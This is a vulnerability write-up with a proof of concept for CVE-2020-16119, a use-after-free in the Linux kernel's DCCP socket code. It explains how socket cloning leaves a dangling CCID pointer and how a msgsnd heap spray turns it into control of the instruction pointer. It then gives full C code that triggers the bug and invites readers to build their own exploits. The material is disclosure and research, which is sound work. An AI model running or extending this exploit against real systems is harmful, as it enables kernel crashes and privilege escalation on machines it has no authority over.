Skip to content

Latest commit

 

History

History
196 lines (161 loc) · 6.83 KB

CVE-2020-16119.md

File metadata and controls

196 lines (161 loc) · 6.83 KB

CVE-2020-16119

Background

Datagram Congestion Control Protocol (DCCP) is an unreliable, connection oriented protocol designed to solve issues present in UDP and TCP, particularly for real-time and multimedia (streaming) traffic. It divides into a base protocol and pluggable congestion control modules called CCIDs. Like pluggable TCP congestion control, at least one CCID needs to be enabled in order for the protocol to function properly. In the Linux implementation, this is the TCP-like CCID2. Additional CCIDs, such as the TCP-friendly CCID3, are optional.

In recent months I have researched and reviewed various parts of the Linux kernel networking subsystem. In this time, I have come across a use-after-free vulnerability in the DCCP component of the latest kernel release (5.8.10).

How Does the UAF Happen?

First, let's understand how the UAF occurrs in the first place. Here's a breakdown:

We create a socket with type SOCK_DCCP and protocol IPPROTO_IP:

socket(AF_INET6,SOCK_DCCP,IPPROTO_IP);

Then, we call listen() on the resulting socket. The socket object is now in the DCCP_LISTEN state. Behind the scenes, when the socket is put in said state, dccp_create_openreq_child() is called:

struct sock *dccp_create_openreq_child(struct sock *sk,
				       const struct request_sock *req,
				       const struct sk_buff *skb)
{
	struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
	if (newsk != NULL) {
		struct dccp_request_sock *dreq = dccp_rsk(req);
		struct inet_connection_sock *newicsk = inet_csk(newsk);
		struct dccp_sock *newdp = dccp_sk(newsk);
		newdp->dccps_role	    = DCCP_ROLE_SERVER;
		newdp->dccps_hc_rx_ackvec   = NULL;
		newdp->dccps_service_list   = NULL;
    ...
}

We can see in dccp_create_openreq_child that the initial socket object is being cloned[1]. Note that when inet_csk_clone_lock() is called, dccps_hc_rx_ccid and dccps_hc_tx_ccid are copied.

If one of the socket objects is disconnected or closed, it frees dccps_hc_rx_ccid/dccps_hc_tx_ccid and provides us a dangling pointer in the other socket object.

To make one of our socket objects disconnect, we can call connect() on it with AF_UNSPEC, and it will "free" our socket via dccp_disconnect(). dccp_disconnect() sets the socket state to DCCP_CLOSED, and free and assign NULL to dccps_hc_rx_ccid and dccps_hc_tx_ccid.

Then, we need to call connect() on a new socket with the same type and protocol as the first one. After that, we call listen() on our new socket so our new socket object will get cloned with dccp_create_openreq_child(). dccp_create_openreq_child() will create a new socket object thats holds the dangling pointers of dccps_hc_rx_ccid/dccps_hc_tx_ccid. This leads to the old socket and the new socket holding the same pointers to dccps_hc_rx_ccid/dccps_hc_tx_ccid.

Escalation to RIP Control

If we want to get arbitrary code execution with our dangling pointer (the freed object that we are using after we free ;D ), we have to dereference the dangling pointer with close/getsockopt. For example,

ccid_hc_tx_delete is the function that is responsible for freeing dccps_hc_rx_ccid/dccps_hc_tx_ccid:

void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
{
	if (ccid != NULL) {
		if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
			ccid->ccid_ops->ccid_hc_tx_exit(sk);      
		kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
	}
}

We can see that this line: ccid->ccid_ops->ccid_hc_tx_exit(sk); is calling a function pointer.

When this function is called for the first time (when the connect() with AF_UNSPEC is called), it is harmless and simply does cleanup.

However, when it is called the second time (when we actually close() and control the dangling pointer), it can call an arbitrary address specified by us.

In order to exploit this and get IP control, we have to heap-spray the kernel. I used the msgsnd syscall to heap-spray the kernel. If you like, you can use other methods if you like.

Challenge:

write your own exploits for this UAF, in the same method i did or with another heap-spray technique. If you do, please share them with me! (@ManorHadar)

POC: (you can see trigger_uaf.c for a clean POC for self-uses.)

/*
CVE-2020-16119
POC by @ManorHadar
(Feel free to share your exploits for this CVE with me!)
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/shm.h>

int fd1,fd2;
struct sockaddr_in6 sk1,sk2;
#define BUFF_SIZE 64

void heap_spray();

int trigger_uaf()
{
  struct sockaddr_in6 csk1,csk2;
  struct sockaddr_in6 csk3;
  struct sockaddr_in6 csk4;
  
  fd1 = socket(AF_INET6,SOCK_DCCP,IPPROTO_IP);

  memset(&sk1,0,sizeof(sk1));
  sk1.sin6_family = AF_INET6;
  sk1.sin6_addr = in6addr_loopback;
  sk1.sin6_port = 0x214e;
  bind(fd1,(struct sockaddr*)&sk1,sizeof(sk1));

  listen(fd1,0x1); //DCCP_LISTEN

  fd2 = socket(AF_INET6, SOCK_DCCP, IPPROTO_IP);

  memset(&csk1,0,sizeof(csk1));
  csk1.sin6_family = AF_INET6;
  csk1.sin6_addr = in6addr_loopback;
  csk1.sin6_port = 0x214e;
  csk1.sin6_flowinfo = 0;
  connect(fd2,(struct sockaddr*)&csk1,sizeof(csk1));

  memset(&csk2,0,sizeof(csk2));
  // calling connect with AF_UNSPEC (free)
  connect(fd1,(struct sockaddr*)&csk2,sizeof(csk2));
  memset(&sk2,0,sizeof(sk2));

  heap_spray();

  sk2.sin6_family = AF_INET6;
  sk2.sin6_addr = in6addr_loopback;
  sk2.sin6_port = htons(0x2000);
  sk2.sin6_flowinfo = 0x2;
  sk2.sin6_scope_id = 6;
  bind(fd2,(struct sockaddr*)&sk2,sizeof(sk2));

  memset(&csk3,0,sizeof(csk3));
  connect(fd2,(struct sockaddr*)&csk3,sizeof(csk3));

  listen(fd2,0xb1);

  memset(&csk4,0,sizeof(csk4));
  csk4.sin6_family = AF_INET6;
  csk4.sin6_port = htons(0x2000);
  memset(&csk4.sin6_addr,0,sizeof(struct in6_addr));
  csk4.sin6_flowinfo = 1;
  csk4.sin6_scope_id = 0x32f1;
  connect(fd1,(struct sockaddr*)&csk4,sizeof(csk4));
  socket(AF_INET,SOCK_STREAM,0);
  close(fd2);
  return fd2;
}

void heap_spray()
{
   printf("Spraying the Heap");
   struct {
     long mtype;
     char mtext[BUFF_SIZE];
   }msg;
   memset(msg.mtext, 0x41, BUFF_SIZE-1);
   msg.mtext[BUFF_SIZE] = 0;
   int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
   msg.mtype = 1; // mtype must be > 0 
   for(int i = 0; i < 240; i++)
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
}

int main(void)
{
  printf("Triggering the Use-After-Free");
  trigger_uaf();
  return 0;
}